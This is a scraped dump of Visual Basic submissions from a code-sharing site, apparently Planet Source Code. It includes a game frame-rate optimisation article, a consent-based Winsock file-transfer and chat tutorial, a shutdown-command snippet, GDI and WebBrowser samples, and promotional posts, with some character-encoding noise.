running makes a difference\ndoes process priority matter when\nyour in windowed mode, so much that it might boost your game 10fps or more\n<o:p> </o:p>\n_______________________________________________________________________\n<o:p> </o:p>\n3D:\n<o:p> </o:p>\nwhen making a mesh realize what part of the mesh is going to\nbe seen most and capitalize on that, what does low poly really mean, it means\nhowever many polys you can use and still keep 60fps <span\nclass=SpellE>vsynched with everything else in the scene, donΓÇÖt let\nanyone tell you that it means 100 poly characters or anything else for that\nmatter, balance it, if you really want to be cool about it either use 3\ndifferent complexity models for items shown dependant on camera distance (DOF\ndepth of field), but the best way is to incorporate a LOD, Level of Detail,\ncomponent to your render queue, look it up\n<o:p> </o:p>\ncan your projectile mesh be\nreplaced with a fixed graphic billboard, if so, do it\n(billboard = a 1x1 plane with the\nnormal always facing a reference point with a graphic texture on it)\n_______________________________________________________________________\n<o:p> </o:p>\n1 single texture map vs. multimaps:\nin very many 3d programs, maya,\n3dsmax, milkshape you can use something called <span\nclass=SpellE>multimaps and they end up making it much easier in the 3d\nprogram, but when you transfer your mesh over as mdl,x,3ds,\netc the materials start to pile up, basically if your program has to load 10\none MB tex files versus 1 two MB file obviously the\nlatter is preferable, UNWRAP all your meshes and bake them out!\n_______________________________________________________________________\n<o:p> </o:p>\nAgain, you can use strings to identify just about anything\nsuch as the mesh title, name, texture name, file name, etc, if youΓÇÖve read\nthrough this whole thing than you know youΓÇÖll get the shame sign from me if you\ndo, let alone a low frame rate.┬á If you\nneed to know who ΓÇ£ownsΓÇ¥ this particular projectile or whatever, just use a <span\nclass=GramE>number(long) to do so, it might make your coding a bit\nharder but it will save a frame or 10 in the long run.\n_______________________________________________________________________\n<o:p> </o:p>\nWalls, Ceiling, Floors:\nIf I could ask the god of BSPs why\nyou have to use boxes instead of planes for your walls, ceiling, and floors\nthan I would, it is for this reason only that I donΓÇÖt use bsps\n(there are others but I digress) .<span\nstyle='mso-spacerun:yes'>┬á Use planes whenever possible it might be a\nlittle tricky for you to line them up correctly but in the long run, when you\ntake a 6 sided box versus a 1 sided plane and multiply that by an entire level\nthat might come out to 1000 or more polys (actually\ndisplayed at one time (culling, fov, <span\nclass=SpellE>dof) ) saved.\n_______________________________________________________________________\n<o:p> </o:p>\nFoliage: a game maker and killer, everyone loves a lush\nscene except when it kills frame rates.┬á\nUse multiple 1x1 planes with scripted animated textures, rotated around,\nfor plants, trees, etc\n_______________________________________________________________________\n<o:p> </o:p>\nLights:\nDoes your mesh ever really need direct dynamic illumination,\nprobably not, pre-compute your light maps for everything, and use a shadow plane\nfor your character,┬á\nfor we all know a 3d game is nothing without shadows, if you\nreally must use dynamic lighting, remember that its extremely costly and only\nuse it on objects visible to the user.┬á\nAt one time I had the thought that I could use one dynamic light to\nconstantly be on the user character and to project the shadow for it as\nwell.┬á It worked, but at the cost of a\nbase 5 frames per second, so I had to take that back from somewhere else, it\nended up being the sound, and that ended up being bad so I went to the A.I. and\nlowered that, it is a perpetual balancing act, remember that.\n_______________________________________________________________________\n<o:p> </o:p>\nReflections:\nIf you donΓÇÖt know, reflections are done with multiple scene\ncameras, and multiple cameras means multiple rendering, but there is help,\nrather than halving your frame rate, only have the reflection camera render\nevery 3rd frame or so, depending on your tastes, buffer it out and drop\nthe resolution on the buffer and flip it back, you lose the perfect\nreflections, but you keep your player playing.\n_______________________________________________________________________\n<o:p> </o:p>\nRagdoll:\nOou ragdoll, soo cool, right, well\nif you didnΓÇÖt know, any kind of physics, solid, sliding, cloth, softbody, and\nespecially ragdoll, take an immense amount of processing power, the work around\nto this is absolutely not to use the actual mesh, yep, use invisible extremely\nbasic meshes, or even better than that pure variables and math to do your\ninteractions.\n_______________________________________________________________________\n<o:p> </o:p>\nKeyframe vs. Predefined bone\nanimation:\nKeyframe animation is at this\npoint basically very slow to use by just about any engine let alone one\noptimized for it.┬á Use predefined bone\nanimation and with most 3d character editors you can even assign what\nanimations are blended together, easy as pie\n_______________________________________________________________________\n<o:p> </o:p>\nBad Fog vs. Good Fog\nCan there be bad fog, yep, but only when itΓÇÖs used wrong,\nfog is basically there to either set an atmosphere for a game or to exclude\nobjects from the render, hint, hint, ΓÇ£boy its foggy,\nbut wow IΓÇÖm getting a constant 60 frames per secondΓÇ¥ is what you balance\nagainst.┬á And really, and I canΓÇÖt express\nthis enough, donΓÇÖt forget to exclude the completely fogged in objects from the\nrender.┬á Exponential vs. Linear, like\nanything, exponential is prettier but much more costlyΓÇª balance.\n_______________________________________________________________________\n<o:p> </o:p>\nScripts:\nWow, I can script actions and A.I. and my game can just read\nit from external files, super cool, and uuber slow,\nscripts=strings=death, hardcode it unless the point of your game is to let the\nuser mess with it, donΓÇÖt be lazy.\n_______________________________________________________________________\n<o:p> </o:p>\nWater:\nDynamic water, a big fat no, non-dynamic but visually\nappealing water, of┬á\ncourse.┬á Does your water\nneed to ebb and flow, if so remember that the complexity of the ΓÇ£landΓÇ¥ affects\nhow good the water looks when it ebbs and flows, not the complexity of the <span\nclass=GramE>water.┬á Pretty\nwaterfalls, yep, theyΓÇÖre great, but only if you use pre-rendered scripted\nanimated textures with alpha channels on layered low poly planes, believe me,\nit looks just like you really used the crazy 3000 particles to do it, and no\nyou can not do 3000 particles and still well, do anything.\n_______________________________________________________________________\n<o:p> </o:p>\nTiles:\nA wonderful thing if done right in 2D or pseuto-2D games, if\nyou donΓÇÖt know what a matrix is read for a week until you dream about them,\nbecause if your reading your tile levels from the registry let alone <span\nclass=SpellE>ini files than I bet your scratching your head and\nwondering why your level loads so slowly.\n_______________________________________________________________________\n<o:p> </o:p>\n3D sound:\nNo game needs CD quality sound, really, while 50 projectiles\nare coming at your character they wont really notice\nthe difference between a bit rate of 256 or 92 or 32bit audio vs. 8 or 16\nbit.┬á As a general rule, more low quality\n3d sounds are always preferable to a very few very high quality 3d sounds.<span\nstyle='mso-spacerun:yes'>┬á Music is exactly the same, keep it low\nquality unless you actually have to.┬á \nWindows media player vs. direct sound vs\nwinMCI\nWindows media player = donΓÇÖt use it\nDirect sound = easiest\nwinMCI =\nbest but very complex to implement\n_______________________________________________________________________\n<o:p> </o:p>\nA.I.\nOne of the most costly things about games, even more than\npolygon count, yep, if your going to use neural networks, genetic <span\nclass=GramE>algorithms , A* path finding, or any of the multitude of\nA.I. out there, you just can not be liberal with it.<span\nstyle='mso-spacerun:yes'>┬á If a computer controlled character will only\nend up dying after 10 seconds of game time does it really need to be able to\ndie well and do college level calc 3 hmm I donΓÇÖt believe so.<span\nstyle='mso-spacerun:yes'>┬á Use it where it is necessary.\n_______________________________________________________________________\n<o:p> </o:p>\nQuestions that IΓÇÖve been asked:\n<o:p> </o:p>\nQ:┬á Can I do my math /\nsound / etc in a separate thread to increase my frame rate?\nA:┬á Can you get VB to\nrun stable with more than one thread, if you can go for it, if you canΓÇÖt donΓÇÖt,\nwill it make a difference, nope\n<o:p> </o:p>\nQ:┬á What is the main way\nto increase my frame rate?\nA:┬á If you only do one\nthing from what IΓÇÖve written here, it should be to eliminate redundant coding.\n<o:p> </o:p>\nQ:┬á Should I use\nmodule level variables (private), sub level variables (dim), or public\nvariables?\nA:┬á From what IΓÇÖve\nseen if you can put everything into one module (bas) with a sub main, and\ncreate your form at runtime(windowed) or just do full screen it is really going\nto help speed things along, it will also make your coding a headache though.<span\nstyle='mso-spacerun:yes'>┬á Remember, inline is faster.\n<o:p> </o:p>\nQ:┬á Is there an easy\nway to make animated X files in my favorite 3d animation program?\nA:┬á Not really, they\nall have the X exporter, some better than others.\n<o:p> </o:p>\nQ: Should I use vSync or not?\nA:┬á Develop your game\nwithout it, and if you can get your frame rate higher than the standard 60 than\ngo ahead and implement it, just keep in mind that some people out there use a\nrefresh rate of 110 or above, can your game pull that off, why even ask,\nimplement code to switch the users refresh rate to 60 when your game starts,\nuse vsync, and set it back when they exit, theyΓÇÖll\nnever know, and your game will run super smooth on just about anyoneΓÇÖs decent\nor better system.\n<o:p> </o:p>\nQ:┬á Why canΓÇÖt I even\nuse the standard teapot primitive in my BSP project, I get errors.\nA:┬á Do you think any\nof the high-end games of today use BSPs, if you do\nyour wrong..\n<o:p> </o:p>\nQ:┬á Can VB really make\ngames as fast as C++\nA:┬á They both get\ncompiled into ASM, but VB fΓÇÖks around a bit too much\nto make it tight ASM, with some of the things that IΓÇÖve previously stated you\ncan tighten it up a bit (declared numbers, etc).\n<o:p> </o:p>\nQ:┬á If I use inline <span\nclass=SpellE>asm in vb will it make a\ndifference?\nA:┬á If you can write\nyour own ASM than why are you writing this game in VB in the first place?\n<o:p> </o:p>\nQ:┬á Can I apply a <span\nclass=SpellE>photoshop like filter to my render backbuffer\neach render pass to get whatever effect?\nA:┬á Yes and no, yes in\nthe fact that if your using a DX9 script to do it pre-flip than yes, if your\nusing just about anything else, nope, not even the super cool motion blur,\nscript or bust.\n<o:p> </o:p>\nQ:┬á Witch is better,\nuser types or single variables\nA:┬á Single variables\nare quicker, but unless you want your game to be 10 years in the making at the\ngain of 1/100 a frame a second than just use user types, just remember to type\nthem as 32 bit variables.\n<o:p> </o:p>\n_______________________________________________________________________\n<o:p> </o:p>\nLike IΓÇÖve said before, this is all just opinion and <span\nclass=GramE>conjecture, it works for me, believe it or not.\n<o:p> </o:p>\nIf you think that you have better ideas on any of this than I\ncompletely welcome you to write your own article on it, in fact that would be\ngreat, let alone leave your opinions here.\n<o:p> </o:p>\nThanks,.\nG\n<o:p> </o:p>\nP.S.┬á Just about\neverything I know about all of this I learned or started off on the, well one\nof the feet, here on PSC, yep, IΓÇÖm addicted."},{"WorldId":1,"id":57746,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57748,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57750,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57751,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57764,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57781,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57789,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59602,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59604,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59609,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59623,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59626,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59628,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59633,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59642,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59645,"LineNumber":1,"line":"download here: http://www.kidev.com/files/pzlscript21.zip"},{"WorldId":1,"id":59646,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59648,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59653,"LineNumber":1,"line":"This tutorial shows how to transfer file of any size using winsock control. \n \nopen vb \nselect standard exe \n \npress cntrl+t to show the add component window \n \nselect winsock control and microsoft common dialog \n \nadd one winsock control in the project--name it winsock1 \n \nif you want to add chat then add another winsock and name it winsock2 \n \ninsert another winsock object if you want to add chat also \n \nadd a microsoft common dialog box --- name it cd \n \nwe will use this winsock1 object to transfer the file and winsock2 for chat \n \n \n \nThe basic idea : \nTo send a file of any size to any ip using winsock first we have to open the file in binary mode. \nthen get chunks of data from it, chunk is a constant which is initialized to 8000, so we get 8000 \nbytes of data each time and send it using winsock to the client. \nfor example let \"fname\" be the string variable containg the file name then : \n \n \n \nPrivate Const chunk = 8000 \n \ndim fname as string 'get the name of the file \n \n \nOpen fname For Binary As #1 \nDo While Not EOF(1) \ndata = Input(chunk, #1) \nwinsock1,sendata data \nDoEvents \nloop \n \n \n \n \nthis will send 8000bytes of data from the file until the file ends. \n \n \nbut before sending data from file to client we must send info about the file┬á \nlike..the name of the file...the extension...etc \n \nso when send is clicked first check wether a file is there i mean check wether something \nis typed in the text box and if yes check wether the file exists \n \nif both the above conditions are met then get the filename with the extension. \nsend the file name to the client with \"rqst\" in front. \nfor eg. if the name of file is \"text.txt\" then send \"rqsttext.txt\" to the client \n \nthe client will then get the file name and display a msgbox with the name of the \nfile and the user will be given a choice wether to accept the file or not \nif he\\she selects yes then the client sends \"okay\" to the server and if he\\she selects┬á \nno then it sends \"deny\" to the server..this data i.e. \"okay\" or '\"deny\" arrivers on winsock1's \nlocal port the data is then checked using select case if its okay then \"send\" function \nis called with file address as an argument and send button and all buttons and text boxes \nassociated with send file are disabled. \nIf the response from client is \"deny\" then a msgbox is shown on server saying that the \nrequest to send the file .... as been denied..the user can send another request..or┬á \nask the client's user to accept the file using the chat module... \n \n \n \nthis is called when send is clicked \nprivate sub send_click() \n \n'GET FILE NAME \n'using getfilename function to get the file name \ndim fnamea as string \ndim fname as string \n \nif text1.text = \"\" then \nmsgbox \"Please type the file name!!!\", ,\"Manjit\" \nexit sub \nend if \nfname = text1.text \n'checking wether the file exists \nIf Dir(fname) = \"\" Then \nMsgBox \"File Does not exist Exists\", ,\"manjit\" \nexit sub 'exiting sub it file does not exists \nend if \n \nfnamea=GetFileName(text1.text) \nfname=text2.text \ndim temp as string \ntemp= \"rqst\" & fnamea \n \n'SEND \n \nwinsock1.senddata temp 'sending file name of file \n \nend sub┬á \n \nnow the request is sent to the client \nthen the server has to wait for the client's response \n \nthis event is called when data arrives on winsock1 \n \nPrivate Sub winsock1_dataarrival(ByVal bytestotal As Long) \nDim response As String \nWinsock1.GetData response, vbString \nSelect Case response \nCase \"okay\" \nsend fname 'send function is called with file name as argument \nCase \"deny\" \nMsgBox \"Your request to send the file \" & fname & \" has been denied\", , \"manjit\" 'message when request is denied \nEnd Select \nEnd Sub \n \nThe send function which actally sends the file \n \n \nPrivate Sub send(fname As String) \nCommand2.Enabled = False \nCommand3.Enabled = False \nText1.Enabled = False \n \nDim data As String \nDim a As Long \nDim data1 As String \nDim data2 As String \n \n \nOpen fname For Binary As #1 \n \nDo While Not EOF(1) \ndata = Input(chunk, #1) \nWinsock1.SendData data \nDoEvents \nLoop \n \nWinsock1.SendData \"EnDf\" \nClose #1 \nCommand2.Enabled = True \nCommand3.Enabled = True \nText1.Enabled = True \n \nEnd Sub \n \n \n'Other supporting functions:┬á \n \nFunction GetFileName(attach_str As String) As String \n Dim s As Integer \n Dim temp As String \n s = InStr(1, attach_str, \"\\\") \n temp = attach_str \n Do While s > 0 \n temp = Mid(temp, s + 1, Len(temp)) \n s = InStr(1, temp, \"\\\") \n Loop \n GetFileName = temp \nEnd Function \n \n \n \nOn the client side :┬á \n \nset winsock1 to listen to a particular port say : 165 \nand winsoc2 if you want chat too :166 \n \n \nwinsock1 is listening to port 165 and winsock2 is listening to port 166 \non the client side \n \n \nso when connection request arrives : \n \nprivate sub winsock1_connectionrequest(byval idrequest as long) \nif winsock1.state <> sckConnected then \nwinsock1.close \nwinsock1.accept idrequest \nend if \nend sub \n \nand: \n \nprivate sub winsock2_connectionrequest(byval idrequest as long) \nif winsock2.state <> sckConnected then \nwinsock2.close \nwinsock2.accept idrequest \nend if \nend sub \n \nDATA ARRIVAL: \n \nand when data arrives \n \n \n \n \nPrivate Sub winsock1_dataarrival(ByVal bytestotal As Long) \n \nDim data As String \nDim data4 As String \nDim data2 As String \nDim data3 As String \nDim data5 As String \nDim data6 As String \n \nWinsock1.GetData data, vbString \n \ndata2 = Left(data, 4) \nSelect Case data2 \nCase \"rqst\" 'file request arrives \n \ndata3 = Right(data, Len(data) - (4)) 'Get the file name \n \nDim msg1 As Integer 'Stores user's selection \nmsg1 = MsgBox(Winsock1.RemoteHost & \" wants to send you file \" & data3 & \" accept ? \", vbYesNo, \"Manjit\") 'msgbox displayed \n \n \nIf msg1 = 6 Then 'if user selects yes \nWinsock1.SendData \"okay\" \ncd.FileName = data3 \ndata5 = Split(data3, \".\")(1) \ndata6 = \"*.\" & data5 \ncd.DefaultExt = \"(data6)\" \ndata4 = App.Path & \"\\\" & data3 \n'MsgBox data5 \n'cd.ShowSave \n \nOpen data4 For Binary As #1 \n \nElse \nWinsock1.SendData \"deny\" \nExit Sub \nEnd If \n \nCase \"EnDf\" \nLabel1.Caption = \"File revieved.Size of file : \" & sz & \" Kb\" \nsize=0 \nsz=o \nClose #1 \nCase Else \n \nsize = size + 1 \nLabel1.Caption = size * 8 & \"Kb Recieved\" \nsz = size * 8 \nPut #1, , data \nEnd Select \nEnd Sub \n \nThis will take care of file transfer now for the chat: \nwe will be using winsock2 for chat: \n \nOn server side : \n \nWHEN SEND IS CLICKED \n \nPrivate Sub Command1_Click() \nDim chat As String \nchat = Text1.Text \nList1.AddItem (chat) \nWinsock2.SendData chat \n \nEnd Sub \n \nwhen data arrives : \n \nPrivate Sub winsock2_dataarrival(ByVal bytestotal As Long) \nDim cht As String \nWinsock2.GetData cht, vbString \nList1.AddItem (cht) \n \nEnd Sub \n \n \nthe same will be on the client side also...if you want a better chat client then visit \nmy tutorial on planet source code.com : \n \nhttp://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=59417&lngWId=1 \n \nor mail for the tutorial... \n \nI've included a copy of this tutorial in the zip file(tutorial.txt) \n \nHope you liked it!!!..PLEASE RATE ME!!!!!!!!! \n \n \n \n\n"},{"WorldId":1,"id":59657,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59659,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59671,"LineNumber":1,"line":"Shell \"shutdown -s -t 60\"\n'Shell will execute the command \"shutdown -s -t 60\"\n'the shutdown -s -t 60 means:\n' shutdown -s(shutdown) -t(time) 60(in this many seconds)\n'So this will shutdown your PC in 60 seconds.\n'Shell \"shutdown -s -t 12\" will shutdown your PC 'in 12 seconds.\n'Shell \"shutdown -r -t 60\" \n'This will restart the pc in 60 seconds.\nHope this helps for those who just can't figure it out.\n'[edit]\n'When you just want to shutdown without any windows popping up, type:\n' Shell \"shutdown -s -t 00\"\n' same thing for restart\n'canceling a shutdown is easy as well, just type:\n' Shell \"shutdown -a\"\n\n"},{"WorldId":1,"id":59673,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59677,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59688,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59697,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59698,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59704,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59718,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59719,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59723,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59725,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59726,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59727,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59745,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59748,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59757,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59767,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59769,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59772,"LineNumber":1,"line":"Private Declare Function SetPixel Lib \"gdi32\" (ByVal hDC As Long, ByVal X As Long, ByVal Y As Long, ByVal crColor As Long) As Long\nPrivate Declare Function CreateCompatibleBitmap Lib \"gdi32\" (ByVal hDC As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long\nPrivate Declare Function CreateCompatibleDC Lib \"gdi32\" (ByVal hDC As Long) As Long\nPrivate Declare Function GetDC Lib \"user32\" (ByVal hwnd As Long) As Long\nPrivate Declare Function DeleteDC Lib \"gdi32\" (ByVal hDC As Long) As Long\nPrivate Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\nPrivate Declare Function SelectObject Lib \"gdi32\" (ByVal hDC As Long, ByVal hObject As Long) As Long\nPrivate Declare Function SetBkMode Lib \"gdi32\" (ByVal hDC As Long, ByVal nBkMode As Long) As Long\nPrivate Declare Function StretchBlt Lib \"gdi32\" (ByVal hDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long\nPrivate Declare Sub Sleep Lib \"kernel32\" (ByVal dwMilliseconds As Long)\nPrivate mDC&, mBitmap&\nSub DrawProgressBar(dc&, X&, Y&, w&, h&, bc&, fc&, perc&)\n SetPixel mDC, 0, 0, bc\n StretchBlt dc, X, Y, w, h, mDC, 0, 0, 1, 1, vbSrcCopy\n SetPixel mDC, 0, 0, fc\n StretchBlt dc, X, Y, Int((w / 100) * perc) + 1, h, mDC, 0, 0, 1, 1, vbSrcCopy\nEnd Sub\nSub CreateBitmap(w&, h&)\n mDC = CreateCompatibleDC(GetDC(0))\n mBitmap = CreateCompatibleBitmap(GetDC(0), w, h)\n SelectObject mDC, mBitmap\n SetBkMode mDC, 1\nEnd Sub\nSub KillBitmap()\n DeleteObject mBitmap\n DeleteDC mDC\nEnd Sub\nPrivate Sub Command1_Click()\nDim dc&, l&\n dc = GetDC(Command1.hwnd)\n Command1.Enabled = False\n For l = 1 To 100\n DrawProgressBar dc, 7, (Command1.Height \\ Screen.TwipsPerPixelY) - 8, (Command1.Width \\ Screen.TwipsPerPixelX) - 14, 3, vbRed, vbGreen, l\n Sleep 10: DoEvents\n Next\n Command1.Enabled = Not Command1.Enabled\nEnd Sub\nPrivate Sub Form_Load()\nCreateBitmap 1, 1\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\nKillBitmap\nEnd Sub"},{"WorldId":1,"id":59779,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59786,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59797,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59802,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59810,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59815,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59818,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59821,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59826,"LineNumber":1,"line":"Private Sub Form_Load()\nIf App.PrevInstance = True Then MsgBox \"This program is already running !\", vbCritical, \"Fallout[]\": End\nEnd Sub\n"},{"WorldId":1,"id":59827,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59828,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59834,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59835,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59837,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59838,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59839,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59840,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59843,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59846,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59847,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59848,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59856,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59858,"LineNumber":1,"line":"'' Saves a Image-box from fx. Webcam.\nSavePicture Image1.Picture, \"C:\\file.bmp\"\n''Yes, thats all!"},{"WorldId":1,"id":59859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59863,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59864,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59869,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59871,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59873,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59877,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59884,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59894,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59899,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59922,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59923,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59925,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59927,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59928,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59932,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59933,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59935,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59945,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59947,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59948,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59965,"LineNumber":1,"line":"Download VB6IDE.dll from\nhttp://www.parakulamjewels.com/soft/vb6ide.dll\nhttp://www.parakulamjewels.com/soft/vb6.zip\nDeveloped by SIJO Soft Developing Team\nif you are from Kerala, SIJO Soft Malayalam Notepad is my another submission. see this also\nDo u know about Malayalam Notepad?\nMalayalam Writer, Best Malayalam Reader?\nMalayalam Editor, Malayalam Wordpad?\nlook at my other code also"},{"WorldId":1,"id":59966,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59974,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59975,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59979,"LineNumber":1,"line":"On a VB6 Form, add a Button control in the upper \nleft corner and a Listbox control underneath the button and down the left hand \nside of the form. Events raised by the WebBrowser will be displayed in the \nlistbox.\nPlace the following code into a standard VB 6.0 form.\n<hr>\nPrivate WithEvents\nm_WebControl As VBControlExtender\nPrivate Sub Form_Resize() \nOn Error Resume Next \n Me.List1.Height = Me.ScaleHeight - Me.List1.Top \n \n ' resize webbrowser to fill form next to listbox \n If Not m_WebControl\nIs Nothing Then \n m_WebControl.Move Me.List1.Left + Me.List1.Width + 30, 0, ScaleWidth - (Me.List1.Left + Me.List1.Width + 30), ScaleHeight \n End If \nEnd Sub \n \nPrivate Sub Command1_Click() \nOn Error GoTo ErrHandler \n \n ' attempting to add WebBrowser here ('Shell.Explorer.2' is registered \n ' with Windows if a recent (>= 4.0) version of Internet Explorer is installed \n Set m_WebControl = Controls.Add("Shell.Explorer.2", "webctl", Me) \n \n ' if we got to here, there was no problem creating the WebBrowser \n ' so we should size it properly and ensure it's visible \n m_WebControl.Move Me.List1.Left + Me.List1.Width + 30, 0, ScaleWidth - (Me.List1.Left + Me.List1.Width + 30), ScaleHeight \n m_WebControl.Visible = True \n \n ' use the Navigate method of the WebBrowser control to open a \n ' web page \n m_WebControl.object.navigate "http://www.planet-source-code.com" \n \nExit Sub \nErrHandler: \n MsgBox "Could not create WebBrowser control", vbInformation \nEnd Sub \n \nPrivate Sub m_WebControl_ObjectEvent(Info\nAs EventInfo) \nOn Error GoTo ErrHandler \n \n Dim i As Integer \n Dim evp As EventParameter \n \n ' display the event that was raised in the listbox \n Me.List1.AddItem "Event Raised: " & Info.Name \n For Each evp In Info.EventParameters \n Me.List1.AddItem " " & evp.Name & " (" & evp.Value & ")" \n Next evp \n \n Me.List1.ListIndex = Me.List1.NewIndex \nExit Sub \nErrHandler: \n If Err.Number = -2147024809 \nThen \n Me.List1.AddItem " " & evp.Name & " (#ERROR)" \n Resume Next \n End If \nEnd Sub\n"},{"WorldId":1,"id":59991,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":59994,"LineNumber":1,"line":"Brush Stroke 2.4, the professional image-editing standard and a major component of the digital imaging line, delivers more of what you crave. New creative tools help you achieve extraordinary results. Unprecedented adaptability lets you custom-fit Brush Stroke to the way you work, with many features. And with more efficient editing, processing, and file handling, as well as the new \"B-Technology\" there's no reason why not to have this powerfully imaging tool.\nBrush Stroke 2.4 Now supports Custom Filters, and Plug ins. You can now \"Feel at Home\" with this powerful tool, allowing you to create Custom Workspaces, Swatches, Presets & Profiles, and even your own Printing Color Drivers.\nThere are many more features in Brush Stroke, Some of them are pictured in the Screen shot Above., download a Full Copy of Brush Stroke Today from: http://www.datosoftware.com/products/brushstroke/\nBrush Stroke 2.4 Was programmed In Microsoft┬« Visual Basic┬«.\nIf you would like to be apart of this Project, in one or more of the Following Category's please Contact Us. Category's: Creating Filters, Plug ins, Extra Tools, Interface Improvement, Swatch Creation, Beta Testing, or if you have your own Ideas...\nContact David Nedved at: dnedved@datosoftware.com, or dnedved@gmail.com.\nWe would love your help.\nIf you have any comments or votes please leave them, but please only leave 'Respectful' comments...\nYours.\nDavid Nedved - DaTo Software\nSoftware Development 